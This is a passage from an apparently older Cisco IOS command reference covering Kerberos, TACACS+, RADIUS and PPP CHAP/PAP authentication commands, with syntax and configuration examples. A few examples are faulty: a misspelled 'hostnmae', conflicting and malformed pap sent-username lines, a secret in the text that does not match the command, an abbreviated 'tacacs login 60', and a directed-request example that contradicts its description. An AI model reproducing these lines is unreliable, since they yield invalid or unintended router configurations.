  7507. kerberos-realm     Name of the Kerberos realm. A Kerberos realm consists of users, hosts, and 
  7508. network services that are registered to a Kerberos server. The Kerberos realm must be in 
  7509. uppercase letters.     
  7510. hostname     Name of the host functioning as a Kerberos server for the specified Kerberos 
  7511. realm (translated into an IP address at the time of entry).     
  7512. ip-address     IP address of the host functioning as a Kerberos server for the specified 
  7513. Kerberos realm.     
  7514. port-number     (Optional) Port that the KDC/TGS monitors (defaults to 88).     
  7515. Default
  7516. Disabled 
  7517. Command Mode
  7518. Global configuration 
  7519. Usage Guidelines
  7520. This command first appeared in Cisco IOS Release 11.1. 
  7521. Example
  7522. The following example specifies 126.38.47.66 as the Kerberos server for the Kerberos realm 
  7523. MURUGA.COM: 
  7524. kerberos server MURUGA.COM 126.38.47.66
  7525. Related Commands
  7526. kerberos local-realm 
  7527. kerberos realm 
  7528. kerberos srvtab entry 
  7529. kerberos srvtab remote 
  7530.  
  7531. [12.4.7] kerberos srvtab entry 
  7532. Use the kerberos srvtab remote global configuration command (not kerberos srvtab entry) to 
  7533. retrieve a SRVTAB file from a remoe host and automatically generate a Kerberos SRVTAB entry 
  7534. configuration. (The Kerberos SRVTAB entry is the router's locally stored SRVTAB.) Use the no 
  7535. form of this command to remove a SRVTAB entry from the router's configuration. 
  7536. kerberos srvtab entry kerberos-principle principle-type timestamp key-version number 
  7537. key-type key-length encrypted-keytab 
  7538. no kerberos srvtab entry kerberos-principle principle-type 
  7539. Syntax Description
  7540. kerberos-principle     A service on the router.     
  7541. principle-type     Version of the Kerberos SRVTAB.     
  7542. timestamp     Number representing the date and time the SRVTAB entry was created.     
  7543. key-version number     Version of the encryption key format.     
  7544. key-type     Type of encryption used.     
  7545. key-length     Length, in bytes, of the encryption key.     
  7546. encrypted-keytab     Secret key the router shares with the KDC. It is encrypted with the 
  7547. private Data Encryption Standard (DES) key (if available) when you write out your configuration.     
  7548. Command Mode
  7549. Global configuration. 
  7550. Usage Guidelines
  7551. This command first appeared in Cisco IOS Release 11.2. 
  7552. When you use the kerberos srvtab remote command to copy the SRVTAB file from a remote 
  7553. host (generally the KDC), it parses the information in this file and stores it in the router's running 
  7554. configuration in the kerberos srvtab entry format. The key for each SRVTAB entry is encrypted 
  7555. with a private DES key if one is defined on the router. To ensure that the SRVTAB is available 
  7556. (that is, that it does not need to be acquired from the KDC) when you reboot the router, use the 
  7557. write memory router configuration command to write the router's running configuration to 
  7558. NVRAM. 
  7559. If you reload a configuration, with a SRVTAB encrypted with a private DES key, on to a router 
  7560. that does not have a private DES key defined, the router displays a message informing you that 
  7561. the SRVTAB entry has been corrupted, and discards the entry. 
  7562. If you change the private DES key and reload an old version of the router's configuration that 
  7563. contains SRVTAB entries encrypted with the old private DES keys, the router will restore your 
  7564. Kerberos SRVTAB entries, but the SRVTAB keys will be corrupted. In this case, you must delete 
  7565. your old Kerberos SRVTAB entries and reload your Kerberos SRVTABs on to the router using the 
  7566. kerberos srvtab remote command. 
  7567. Although you can configure kerberos srvtab entry on the router manually, generally you would 
  7568. not do this because the keytab is encrypted automatically by the router when you copy the 
  7569. SRVTAB using the kerberos srvtab remote command. 
  7570. Example
  7571. In the following example, host/new-router.loki.com@LOKI.COM is the host, 0 is the type, 
  7572. 817680774 is the timestamp, 1 is the version of the key, 1 indicates the DES is the encryption 
  7573. type, 8 is the number of bytes, and .cCN.YoU.okK is the encrypted key: 
  7574. kerberos srvtab entry host/new-router.loki.com@LOKI.COM 0 817680774 1 1 8 .cCN.YoU.okK
  7575. Related Commands
  7576. kerberos srvtab remote 
  7577. key config-key 
  7578.  
  7579. [12.4.8] kerberos srvtab remote 
  7580. Use the kerberos srvtab remote configuration command to retrieve a krb5 SRVTAB file from the 
  7581. specified host. 
  7582. kerberos srvtab remote {hostname | ip-address} {filename} 
  7583. Syntax Description
  7584. hostname     Machine with the Kerberos SRVTAB file.     
  7585. ip-address     IP address of the machine with the Kerberos SRVTAB file.     
  7586. filename     Name of the SRVTAB file.     
  7587. Command Mode
  7588. Configuration 
  7589. Usage Guidelines
  7590. This command first appeared in Cisco IOS Release 11.2. 
  7591. When you use the kerberos srvtab remote command to copy the SRVTAB file from the remote 
  7592. host (generally the KDC), it parses the information in this file and stores it in the router's running 
  7593. configuration in the kerberos srvtab entry format. The key for each SRVTAB entry is encrypted 
  7594. with the private Data Encryption Standard (DES) key if one is defined on the router. To ensure 
  7595. that the SRVTAB is available (that is, that it does not need to be acquired from the KDC) when 
  7596. you reboot the router, use the write memory configuration command to write the router's running 
  7597. configuration to NVRAM. 
  7598. Example
  7599. The command in the following example copies the SRVTAB file residing on bucket.cisco.com to a 
  7600. router named scooter.cisco.com: 
  7601. kerberos srvtab remote bucket.cisco.com scooter.cisco.com-new-srvtab
  7602. Related Commands
  7603. kerberos srvtab entry 
  7604. key config-key 
  7605.  
  7606. [12.4.9] key config-key 
  7607. Use the key config-key global configuration command to define a private DES key for the router. 
  7608. Use the no form of this command to delete a private Data Encryption Standard (DES) key for the 
  7609. router. 
  7610. key config-key 1 string 
  7611. Syntax Description
  7612. string     Private DES key (can be up to 8 alphanumeric characters).     
  7613. Default
  7614. No DES-key defined. 
  7615. Command Mode
  7616. Global configuration. 
  7617. Usage Guidelines
  7618. This command first appeared in Cisco IOS Release 11.2. 
  7619. This command defines for the router a private DES key that will not show up in the router 
  7620. configuration. This private DES key can be used to DES-encrypt certain parts of the router's 
  7621. configuration. 
  7622.  
  7623. Caution The private DES key is unrecoverable. If you encrypt part of your configuration with the 
  7624. private DES key and lose or forget the key, you will not be able to recover the encrypted data. 
  7625. Example
  7626. The command in the following example sets bubba as the private DES key on the router: 
  7627. key config-key 1 bubba
  7628. Related Commands
  7629. kerberos srvtab entry 
  7630. kerberos srvtab remote 
  7631.  
  7632. [12.5.0] login tacacs 
  7633. To configure your router to use TACACS user authentication, use the login tacacs line 
  7634. configuration command. Use the no form of this command to disable TACACS user 
  7635. authentication for a line. 
  7636. login tacacs 
  7637. no login tacacs 
  7638. Syntax Description
  7639. This command has no arguments or keywords. 
  7640. Default
  7641. Disabled 
  7642. Command Mode
  7643. Line configuration 
  7644. Usage Guidelines
  7645. This command first appeared in Cisco IOS Release 10.0. 
  7646. You can use TACACS security if you have configured a TACACS server and you have a 
  7647. command control language (CCL) script that allows you to use TACACS security. For information 
  7648. about using files provided by Cisco Systems to modify CCL scripts to support TACACS user 
  7649. authentication, refer to the "Configuring AppleTalk Remote Access" chapter in the Access 
  7650. Services Configuration Guide. 
  7651.  
  7652. Note This command cannot be used with AAA/TACACS+. Use the login authentication 
  7653. command instead. 
  7654.  
  7655. Example
  7656. In the following example, lines 1 through 16 are configured for TACACS user authentication: 
  7657. line 1 16
  7658. login tacacs
  7659.  
  7660. [12.5.1] nasi authentication 
  7661. To enable TACACS+ authentication for NetWare Asynchronous Services Interface (NASI) clients 
  7662. connecting to a router, use the nasi authentication line configuration command. Use the no form 
  7663. of the command to return to the default, as specified by the aaa authentication nasi command. 
  7664. nasi authentication {default | list-name} 
  7665. no login authentication {default | list-name} 
  7666. Syntax Description
  7667. default     Uses the default list created with the aaa authentication nasi command.     
  7668. list-name     Uses the list created with the aaa authentication nasi command.     
  7669. Default
  7670. Uses the default set with the aaa authentication nasi command. 
  7671. Command Mode
  7672. Line configuration 
  7673. Usage Guidelines
  7674. This command first appeared in Cisco IOS Release 11.1. 
  7675. This command is a per-line command used with AAA authentication that specifies the name of a 
  7676. list of TACACS+ authentication methods to try at login. If no list is specified, the default list is 
  7677. used, even if it is specified in the command line. (You create defaults and lists with the aaa 
  7678. authentication nasi command.) Entering the no form of this command has the same effect as 
  7679. entering the command with the default argument. 
  7680.  
  7681. Caution If you use a list-name value that was not configured with the aaa authentication nasi 
  7682. command, you will disable login on this line. 
  7683. Before issuing this command, create a list of authentication processes by using the aaa 
  7684. authentication nasi global configuration command. 
  7685. Examples
  7686. The following example specifies that the default AAA authentication be used on line 4: 
  7687. line 4
  7688. nasi authentication default
  7689. The following example specifies that the AAA authentication list called list1 be used on line 7: 
  7690. line 7
  7691. nasi authentication list1
  7692. Related Commands
  7693. A dagger (å) indicates that the command is documented outside this chapter. 
  7694. aaa authentication nasi 
  7695. ipx nasi-server enable å 
  7696. show ipx nasi connections å 
  7697. show ipx spx-protocol å 
  7698.  
  7699. [12.5.2] ppp authentication 
  7700. To enable Challenge Handshake Authentication Protocol (CHAP) or Password Authentication 
  7701. Protocol (PAP) or both and to specify the order in which CHAP and PAP authentication are 
  7702. selected on the interface, use the ppp authentication interface configuration command. Use the 
  7703. no form of the command to disable this authentication. 
  7704. ppp authentication {chap | chap pap | pap chap | pap } [if-needed] [list-name | default] 
  7705. [callin] 
  7706. no ppp authentication 
  7707. Syntax Description
  7708. chap     Enables CHAP on a serial interface.     
  7709. pap     Enables PAP on a serial interface.     
  7710. chap pap     Enables both CHAP and PAP, and performs CHAP authentication before PAP.     
  7711. pap chap     Enables both CHAP and PAP, and performs PAP authentication before CHAP.     
  7712. if-needed     (Optional) Used with TACACS and extended TACACS. Does not perform CHAP 
  7713. or PAP authentication if the user has already provided authentication. This option is available only 
  7714. on asychronous interfaces.     
  7715. list-name     (Optional) Used with AAA/TACACS+. Specifies the name of a list of TACACS+ 
  7716. methods of authentication to use. If no list name is specified, the system uses the default. The list 
  7717. is created with the aaa authentication ppp command.     
  7718. default     The name of the method list is created with the aaa authentication ppp command.     
  7719. callin     Specifies authentication on incoming (received) calls only.     
  7720.  Caution If you use a list-name value that was not configured with the aaa authentication 
  7721. ppp command, you will disable PPP on this interface. 
  7722. Default
  7723. PPP authentication is not enabled. 
  7724. Command Mode
  7725. Interface configuration 
  7726. Usage Guidelines
  7727. This command first appeared in Cisco IOS Release 10.0. 
  7728. When you enable CHAP or PAP Authentication, or both, the local router requires the remote 
  7729. device to prove its identity before allowing data traffic to flow. PAP Authentication requires the 
  7730. remote device to send a name and password, which is checked against a matching entry in the 
  7731. local username database or in the remote TACACS/TACACS+ database. CHAP Authentication 
  7732. sends a Challenge to the remote device. The remote device encrypts the challenge value with a 
  7733. shared secret and returns the encrypted value and its name to the local Router in a Response 
  7734. message. The local router attempts to match the remote device's name with an associated secret 
  7735. stored in the local username or remote TACACS/TACACS+ database; it uses the stored secret to 
  7736. encrypt the original challenge and verify that the encrypted values match. 
  7737. You can enable PAP or CHAP, or both, in either order. If you enable both methods, the first 
  7738. method specified is requested during link negotiation. If the peer suggests using the second 
  7739. method, or refuses the first method, the second method is tried. Some remote devices support 
  7740. only CHAP, and some support only PAP. Base the order in which you specify methods on the 
  7741. remote device's ability to correctly negotiate the appropriate method, and on the level of data line 
  7742. security you require. PAP usernames and passwords are sent as cleartext strings, which can be 
  7743. intercepted and reused. CHAP has eliminated most of the known security holes. 
  7744. Enabling or disabling PPP authentication does not affect the local router's willingness to 
  7745. authenticate itself to the remote device. 
  7746. If you are using autoselect on a TTY line, you probably want to use the ppp authentication 
  7747. command to turn on PPP authentication for the corresponding interface. 
  7748. Example
  7749. The following example enables CHAP on asynchronous interface 4 and uses the authentication 
  7750. list MIS-access: 
  7751. interface async 4
  7752.  
  7753. encapsulation ppp
  7754.  
  7755. ppp authentication chap MIS-access
  7756. Related Commands
  7757. A dagger (å) indicates that the command is documented outside this chapter. 
  7758. aaa authentication ppp 
  7759. aaa new-model 
  7760. autoselect å 
  7761. encapsulation ppp å 
  7762. ppp use-tacacs 
  7763. username å 
  7764.  
  7765. [12.5.3] ppp chap hostname 
  7766. Use the ppp chap hostname interface configuration command to create a pool of dialup routers 
  7767. that all appear to be the same host when authenticating with CHAP. To disable this function, use 
  7768. the no form of the command. 
  7769. ppp chap hostname hostname 
  7770. no ppp chap hostname hostname 
  7771. Syntax Description
  7772. hostname     The name sent in the CHAP challenge.     
  7773. Default
  7774. Disabled. The router name is sent in any CHAP challenges. 
  7775. Command Mode
  7776. Interface configuration 
  7777. Usage Guidelines
  7778. This command first appeared in Cisco IOS Release 11.2. 
  7779. Currently, a router dialing a pool of access routers requires a username entry for each possible 
  7780. router in the pool because each router challenges with its hostname. If a router is added to the 
  7781. dialup rotary pool, all connecting routers must be updated. The ppp chap hostname command 
  7782. allows you to specify a common alias for all routers in a rotary group to use so that only one 
  7783. username must be configured on the dialing routers. 
  7784. This command is normally used with local CHAP authentication (when the router authenticates to 
  7785. the peer), but it can also be used for remote CHAP authentication. 
  7786. Example
  7787. The commands in the following example identify the dialer interface 0 as the dialer rotary group 
  7788. leader and specifies ppp as the method of encapsulation used by all member interfaces. CHAP 
  7789. authentication is used on received calls only. The username ISPCorp will be sent in all CHAP 
  7790. challenges and responses. 
  7791. interface dialer 0
  7792. encapsulation ppp
  7793. ppp authentication chap callin
  7794. ppp chap hostnmae ISPCorp
  7795. Related Commands
  7796. aaa authentication ppp 
  7797. ppp authentication 
  7798. ppp chap password 
  7799. ppp pap 
  7800.  
  7801. [12.5.4] ppp chap password 
  7802. Use the ppp chap password interface configuration command to enable a router calling a 
  7803. collection of routers that do not support this command (such as routers running older Cisco IOS 
  7804. software images) to configure a common CHAP secret password to use in response to 
  7805. challenges from an unknown peer. To disable this function, use the no form of this command. 
  7806. ppp chap password secret 
  7807. no chap password secret 
  7808. Syntax Description
  7809. secret     The secret used to compute the response value for any CHAP challenge from an 
  7810. unknown peer.     
  7811. Default
  7812. Disabled. 
  7813. Command Mode
  7814. Interface configuration. 
  7815. Usage Guidelines
  7816. This command first appeared in Cisco IOS Release 11.2. 
  7817. This command allows you to replace several username and password configuration commands 
  7818. with a single copy of this command on any dialer interface or asynchronous group interface. 
  7819. This command is used for remote CHAP authentication only (when routers authenticate to the 
  7820. peer) and does not affect local CHAP authentication. 
  7821. Example
  7822. The commands in the following example specify Integrated Services Digital Network (ISDN) Basic 
  7823. Rate Interface (BRI) number 0. The method of encapsulation on the interface is PPP. If a CHAP 
  7824. challenge is received from a peer whose name is not found in the global list of usernames, the 
  7825. encrypted secret 7 1267234591 is decrypted and used to create a CHAP response value. 
  7826. interface bri 0
  7827. encapsulation ppp
  7828. ppp chap password 7 1234567891 
  7829. Related Commands
  7830. aaa authentication ppp 
  7831. ppp authentication 
  7832. ppp chap hostname 
  7833. ppp pap 
  7834.  
  7835. [12.5.5] ppp pap sent-username 
  7836. To reenable remote PAP support for an interface and use the sent-username and password in 
  7837. the PAP authentication request packet to the peer, use the ppp pap sent-username interface 
  7838. configuration command. Use the no form of this command to disable remote PAP support. 
  7839. ppp pap sent-username username password password 
  7840. no ppp pap sent-username 
  7841. Syntax Description
  7842. username     Username sent in the PAP authentication request.     
  7843. password     Password sent in the PAP authentication request.     
  7844. password     Must contain from 1 to 25 uppercase and lowercase alphanumeric characters.     
  7845. Default
  7846. Remote PAP support disabled. 
  7847. Command Mode
  7848. You must configure this command for each interface. 
  7849. Usage Guidelines
  7850. This command first appeared in Cisco IOS Release 11.2. 
  7851. Use this command to reenable remote PAP support (for example to respond to the peer's request 
  7852. to authenticate with PAP) and to specify the parameters to be used when sending the PAP 
  7853. Authentication Request. 
  7854. This is a per-interface command. 
  7855. Example
  7856. The commands in the following example identify dialer interface 0 as the dialer rotary group 
  7857. leader and specify PPP as the method of encapsulation used by the interface. Authentication is 
  7858. by CHAP or PAP on received calls only. ISPCor is the username sent to the peer if the peer 
  7859. requires the router to authenticate with PAP. 
  7860. interface dialer0
  7861. encapsulation ppp
  7862. ppp authentication chap pap callin
  7863. ppp chap hostname ISPCor
  7864. ppp pap sent username ISPCorp password 7 fjhfeu
  7865. ppp pap sent-username ISPCorp password 7 1123659238
  7866. Related Commands
  7867. aaa authentication ppp 
  7868. ppp authentication 
  7869. ppp chap hostname 
  7870. ppp chap password 
  7871. ppp use-tacacs 
  7872.  
  7873. [12.5.6] ppp use-tacacs 
  7874. To enable TACACS for PPP authentication, use the ppp use-tacacs interface configuration 
  7875. command. Use the no form of the command to disable TACACS for PPP authentication. 
  7876. ppp use-tacacs [single-line] 
  7877. no ppp use-tacacs 
  7878.  
  7879. Note This command is not used in AAA/TACACS+. It has been replaced with the aaa 
  7880. authentication ppp command. 
  7881.  
  7882. Syntax Description
  7883. single-line     (Optional) Accept the username and password in the username field. This option 
  7884. applies only when using CHAP authentication.     
  7885. Default
  7886. TACACS is not used for PPP authentication. 
  7887. Command Mode 
  7888. Interface configuration 
  7889. Usage Guidelines
  7890. This command first appeared in Cisco IOS Release 10.3. 
  7891. This is a per-interface command. Use this command only when you have set up an extended 
  7892. TACACS server. 
  7893. When CHAP authentication is being used, the ppp use-tacacs command with the single-line 
  7894. option specifies that if a username and password are specified in the username, separated by an 
  7895. asterisk (*), a standard TACACS login query is performed using that username and password. If 
  7896. the username does not contain an asterisk, then normal CHAP authentication is performed. 
  7897. This feature is useful when integrating TACACS with other authentication systems that require a 
  7898. cleartext version of the user's password. Such systems include one-time password systems, 
  7899. token card systems, and Kerberos. 
  7900.  Caution Normal CHAP authentications prevent the cleartext password from being 
  7901. transmitted over the link. When you use the single-line option, passwords cross the link as 
  7902. cleartext. 
  7903. If the username and password are contained in the CHAP password, the CHAP secret is not 
  7904. used by the Cisco IOS software. Because most PPP clients require that a secret be specified, 
  7905. you can use any arbitrary string, and the Cisco IOS software ignores it. 
  7906. Examples
  7907. In the following example, asynchronous serial interface 1 is configured to use TACACS for CHAP 
  7908. authentication: 
  7909. interface async 1
  7910. ppp authentication chap
  7911. ppp use-tacacs
  7912. In the following example, asynchronous serial interface 1 is configured to use TACACS for PAP 
  7913. authentication: 
  7914. interface async 1
  7915. ppp authentication pap
  7916. ppp use-tacacs
  7917. Related Commands
  7918. ppp authentication 
  7919. tacacs-server extended 
  7920. tacacs-server host 
  7921.  
  7922. [12.5.7] radius-server dead-time 
  7923. To improve RADIUS response times when some servers might be unavailable, use the radius-
  7924. server dead-time global configuration command to cause the unavailable servers to be skipped 
  7925. immediately. Use the no form of this command to set dead-time to 0. 
  7926. radius-server dead-time minutes 
  7927. no radius-server dead-time 
  7928. Syntax Description
  7929. minutes     Length of time a RADIUS server is skipped over by transaction requests, up to a 
  7930. maximum of 1440 minutes (24 hours).     
  7931. Default
  7932. Dead time is set to 0. 
  7933. Command Mode
  7934. Global configuration 
  7935. Usage Guidelines
  7936. Use this command to cause the Cisco IOS to mark as "dead" RADIUS servers that fail to respond 
  7937. to authentication requests, thus avoiding the wait for the request to time out before trying the next 
  7938. configured server. A RADIUS server marked as "dead" is skipped by additional requests for the 
  7939. duration of minutes or unless there are no servers not marked "dead." 
  7940. Example
  7941. The following example specifies 5 minutes dead-time for RADIUS servers that fail to respond to 
  7942. authentication requests. 
  7943. radius-server dead-time 5
  7944. Related Commands
  7945. radius-server host 
  7946. radius-server retransmit 
  7947. radius-server timeout 
  7948.  
  7949. [12.5.8] radius-server host 
  7950. To specify a RADIUS server host, use the radius-server host global configuration command. 
  7951. Use the no form of this command to delete the specified RADIUS host. 
  7952. radius-server host {hostname | ip-address} [auth-port port-number] [acct-port port-number] 
  7953. no radius-server host {hostname | ip-address} 
  7954. Syntax Description
  7955. hostname     DNS name of the RADIUS server host.     
  7956. ip-address     IP address of the RADIUS server host.     
  7957. auth-port     Specifies the UDP destination port for authentication requests.     
  7958. port-number     Port number for authentication requests; the host is not used for authentication if 
  7959. set to 0.     
  7960. acct-port     Specifies the UDP destination port for accounting requests.     
  7961. port-number     Port number for accounting requests; the host is not used for accounting if set to 
  7962. 0.     
  7963. Default
  7964. No RADIUS host is specified. 
  7965. Command Mode
  7966. Global configuration 
  7967. Usage Guidelines
  7968. You can use multiple radius-server host commands to specify multiple hosts. The software 
  7969. searches for hosts in the order you specify them. 
  7970. Example
  7971. The following example specifies host1 as the RADIUS server and uses default ports for both 
  7972. accounting and authentication. 
  7973. radius-server host host1.company.com
  7974. The following example specifies port 12 as the destination port for authentication requests and 
  7975. port 16 as the destination port for accounting requests on a RADIUS host named host1: 
  7976. radius-server host host1.company.com auth-port 12 acct-port 16
  7977. Note that because entering a line resets all the port numbers, you must specify a host and 
  7978. configure accounting and authentication ports on a single line. 
  7979. To use separate servers for accounting and authentication, use the zero port value as 
  7980. appropriate. The following example specifies that RADIUS server host1 be used for accounting 
  7981. but not for authentication, and that RADIUS server host2 be used for authentication but not for 
  7982. accounting: 
  7983.        radius-server host host1.company.com auth-port 0
  7984.        radius-server host host2.company.com acct-port 0
  7985. Related Commands
  7986. A dagger (å) indicates that the command is documented outside this chapter. 
  7987. aaa accounting å 
  7988. aaa authentication 
  7989. aaa authorization 
  7990. login authentication å 
  7991. login tacacs 
  7992. pppå 
  7993. ppp authentication 
  7994. slip å 
  7995. tacacs-server 
  7996. username å 
  7997.  
  7998. [12.5.9] radius-server key 
  7999. Use the radius-server key global configuration command to set the authentication and 
  8000. encryption key for all RADIUS communications between the router and the RADIUS daemon. 
  8001. Use the no form of the command to disable the key. 
  8002. radius-server key {string} 
  8003. no radius-server key 
  8004. Syntax Description
  8005. string     (Optional) The key used to set authentication and encryption. 
  8006. This key must match the encryption used on the RADIUS daemon.     
  8007. Default
  8008. Disabled 
  8009. Command Mode
  8010. Global Configuration 
  8011. Usage Guidelines
  8012. This command first appeared in Cisco IOS Release 11.1. 
  8013. After enabling AAA authentication with the aaa new-model command, you must set the 
  8014. authentication and encryption key using the radius-server key command. 
  8015.  
  8016. Note Specify a RADIUS key after you issue the aaa newmodel command. 
  8017.  
  8018. The key entered must match the key used on the RADIUS daemon. All leading spaces are 
  8019. ignored, but spaces within and at the end of the key are used. If you use spaces in your key, do 
  8020. not enclose the key in quotation marks unless the quotation marks themselves are part of the 
  8021. key. 
  8022. Example
  8023. The following example illustrates how to set the authentication and encryption key to "dare to go": 
  8024. radius-server key dare to go
  8025. Related Commands
  8026. A dagger (å) indicates that the command is documented outside this chapter. 
  8027. login authentication å 
  8028. login tacacs 
  8029. ppp å 
  8030. ppp authentication 
  8031. slip å 
  8032. tacacs-server 
  8033. username å 
  8034.  
  8035. [12.6.0] radius-server retransmit 
  8036. To specify the number of times the Cisco IOS software searches the list of RADIUS server hosts 
  8037. before giving up, use the radius-server retransmit global configuration command. Use the no 
  8038. form of this command to disable retransmission. 
  8039. radius-server retransmit retries 
  8040. no radius-server retransmit 
  8041. Syntax Description
  8042. retries     Maximum number of retransmission attempts.     
  8043. Default
  8044. Three retries 
  8045. Command Mode
  8046. Global configuration 
  8047. Usage Guidelines
  8048. This command first appeared in Cisco IOS Release 11.1. 
  8049. The Cisco IOS software tries all servers, allowing each one to time out before increasing the 
  8050. retransmit count. 
  8051. Example
  8052. The following example specifies a retransmit counter value of five times: 
  8053. radius-server retransmit 5
  8054. radius-server timeout 
  8055. To set the interval a router waits for a server host to reply, use the radius-server timeout global 
  8056. configuration command. Use the no form of this command to restore the default. 
  8057. radius-server timeout seconds 
  8058. no radius-server timeout 
  8059. Syntax Description
  8060. seconds     Integer that specifies the timeout interval in seconds.     
  8061. Default
  8062. 5 seconds 
  8063. Command Mode
  8064. Global configuration 
  8065. Usage Guidelines
  8066. This command first appeared in Cisco IOS Release 11.1. 
  8067. Example
  8068. The following example changes the interval timer to 10 seconds: 
  8069. radius-server timeout 10
  8070. Related Commands
  8071. A dagger (å) indicates that the command is documented outside this chapter. 
  8072. login authentication å 
  8073. login tacacs 
  8074. ppp å 
  8075. ppp authenticationå 
  8076. slip å 
  8077. tacacs-server å 
  8078. username å 
  8079.  
  8080. [12.6.1] show kerberos creds 
  8081. Use the show kerberos creds EXEC command to display the contents of your credentials 
  8082. cache. 
  8083. show kerberos creds 
  8084. Syntax Description
  8085. This command has no keywords or arguments. 
  8086. Command Mode
  8087. EXEC 
  8088. Usage Guidelines
  8089. This command first appeared in Cisco IOS Release 11.1. 
  8090. The show kerberos creds command is equivalent to the UNIX klist command. 
  8091. When users authenticate themselves with Kerberos, they are issued an authentication ticket 
  8092. called a credential. The credential is stored in a credential cache. 
  8093. Sample Displays 
  8094. In the following example, the entries in the credentials cache are displayed: 
  8095. Router> show kerberos creds 
  8096. Default Principal: chet@cisco.com
  8097. Valid Starting          Expires                 Service Principal
  8098. 18-Dec-1995 16:21:07    19-Dec-1995 00:22:24    krbtgt/CISCO.COM@CISCO.COM
  8099.  
  8100. In the following example, output is returned that acknowledges that credentials do not exist in the 
  8101. credentials cache: 
  8102. Router> show kerberos creds
  8103. No Kerberos credentials
  8104. Related Command
  8105. clear kerberos creds 
  8106.  
  8107. [12.6.2] show privilege 
  8108. To display your current level of privilege, use the show privilege EXEC command. 
  8109. show privilege 
  8110. Syntax Description
  8111. This command has no arguments or keywords. 
  8112. Command Mode 
  8113. EXEC 
  8114. Usage Guidelines
  8115. This command first appeared in Cisco IOS Release 10.3. 
  8116. Sample Display
  8117. The following is sample output from the show privilege command. The current privilege level is 
  8118. 15. 
  8119. Router# show privilege
  8120. Current privilege level is 15
  8121. Related Command
  8122. A dagger (å) indicates that the command is documented outside this chapter. 
  8123. enable password å 
  8124.  
  8125. [12.6.3] tacacs-server key 
  8126. Use the tacacs-server key global configuration command to set the authentication encryption 
  8127. key used for all TACACS+ communications between the access server and the TACACS+ 
  8128. daemon. Use the no form of the command to disable the key. 
  8129. tacacs-server key key 
  8130. no tacacs-server key [key] 
  8131. Syntax Description
  8132. key     Key used to set authentication and encryption. This key must match the key used on the 
  8133. TACACS+ daemon.     
  8134. Command Mode
  8135. Global Configuration 
  8136. Usage Guidelines
  8137. This command first appeared in Cisco IOS Release 11.1. 
  8138. After enabling AAA with the aaa new-model command, you must set the authentication and 
  8139. encryption key using the tacacs-server key command. 
  8140. The key entered must match the key used on the TACACS+ daemon. All leading spaces are 
  8141. ignored; spaces within and at the end of the key are not. If you use spaces in your key, do not 
  8142. enclose the key in quotation marks unless the quotation marks themselves are part of the key. 
  8143. Example
  8144. The following example illustrates how to set the authentication and encryption key to "dare to go": 
  8145. tacacs-server key dare to go
  8146. Related Commands
  8147. aaa new-model 
  8148. tacacs-server host 
  8149.  
  8150. [12.6.4] tacacs-server login-timeout 
  8151. To specify how long the system will wait for login input (such as username and password) before 
  8152. timing out, use the tacacs-server login-timeout global configuration command. Use the no form 
  8153. of this command to restore the default value of 30 seconds. 
  8154. tacacs-server login-timeout seconds 
  8155. no tacacs-server login-timeout seconds 
  8156. Syntax Description
  8157. seconds     Integer that determines the number of seconds the system will wait for login input 
  8158. before timing out. Available settings are from 1 to 300 seconds.     
  8159. Default
  8160. The default login timeout value is 30 seconds. 
  8161. Command Mode
  8162. Global configuration 
  8163. Usage Guidelines
  8164. With aaa new-model enabled, the default login timeout value is 30 seconds. The tacacs-server 
  8165. login-timeout command lets you change this timeout value from 1 to 300 seconds. To restore 
  8166. the default login timeout value of 30 seconds, use the no tacacs-server login-timeout 
  8167. command. 
  8168. Example
  8169. The following example changes the login timeout value to 60 seconds: 
  8170. tacacs login 60
  8171.  
  8172. [12.6.5] tacacs-server authenticate 
  8173. To configure the Cisco IOS software to indicate whether a user can perform an attempted action 
  8174. under TACACS and extended TACACS, use the tacacs-server authenticate global 
  8175. configuration command. 
  8176. tacacs-server authenticate {connection [always]enable | slip [always] [access-lists]} 
  8177. Syntax Description
  8178. connection     Configures a required response when a user makes a TCP connection.     
  8179. enable     Configures a required response when a user enters the enable command.     
  8180. slip     Configures a required response when a user starts a SLIP or PPP session.     
  8181. always     (Optional) Performs authentication even when a user is not logged in. This option only 
  8182. applies to the slip keyword.     
  8183. access-lists     (Optional) Requests and installs access lists. This option only applies to the slip 
  8184. keyword.     
  8185. Command Mode
  8186. Global configuration 
  8187. Usage Guidelines
  8188. The tacacs-server authenticate [connection | enable] command first appeared in Cisco IOS 
  8189. Release 10.0. The tacacs-server authenticate {connection [always]enable | slip [always] 
  8190. [access-lists]} command first appeared in Cisco IOS Release 10.3. 
  8191. Enter one of the keywords to specify the action (when a user enters enable mode, for example). 
  8192. Before you use the tacacs-server authenticate command, you must enable the tacacs-server 
  8193. extended command. 
  8194.  
  8195. Note This command is not used in AAA/TACACS+. It has been replaced by the aaa 
  8196. authorization command. 
  8197.  
  8198. Example
  8199. The following example configures TACACS logins that authenticate users to use Telnet or rlogin: 
  8200. tacacs-server authenticate connect
  8201. Related Commands
  8202. A dagger (å) indicates that the command is documented outside this chapter. 
  8203. enable secret å 
  8204. enable use-tacacs 
  8205.  
  8206. [12.6.6] tacacs-server directed-request 
  8207. To send only a username to a specified server when a direct request is issued, use the tacacs-
  8208. server directed-request global configuration command. Use the no form of this command to 
  8209. disable the direct-request feature. 
  8210. tacacs-server directed-request 
  8211. no tacacs-server directed-request 
  8212. Syntax Description
  8213. This command has no arguments or keywords. 
  8214. Default
  8215. Enabled 
  8216. Command Mode
  8217. Global configuration 
  8218. Usage Guidelines
  8219. This command first appeared in Cisco IOS Release 11.1. 
  8220. This command sends only the portion of the username before the "@" symbol to the host 
  8221. specified after the "@" symbol. In other words, with the directed-request feature enabled, you can 
  8222. direct a request to any of the configured servers, and only the username is sent to the specified 
  8223. server. 
  8224. Disabling tacacs-server directed-request causes the whole string, both before and after the "@" 
  8225. symbol, to be sent to the default tacacs server. When the directed-request feature is disabled, the 
  8226. router queries the list of servers, starting with the first one in the list, sending the whole string, and 
  8227. accepting the first response that it gets from the server. The tacacs-server directed-request 
  8228. command is useful for sites that have developed their own TACACS server software that parses 
  8229. the whole string and makes decisions based on it. 
  8230. With tacacs-server directed-request enabled, only configured TACACS servers can be 
  8231. specified by the user after the "@" symbol. If the host name specified by the user does not match 
  8232. the IP address of a TACACS server configured by the administrator, the user input is rejected. 
  8233. Use no tacacs-server directed-request to disable the ability of the user to choose between 
  8234. configured TACACS servers and to cause the entire string to be passed to the default server. 
  8235. Example
  8236. The following example enables tacacs-server directed-request so that the entire user input is 
  8237. passed to the default TACACS server: 
  8238. no tacacs-server directed-request
  8239. tacacs-server extended 
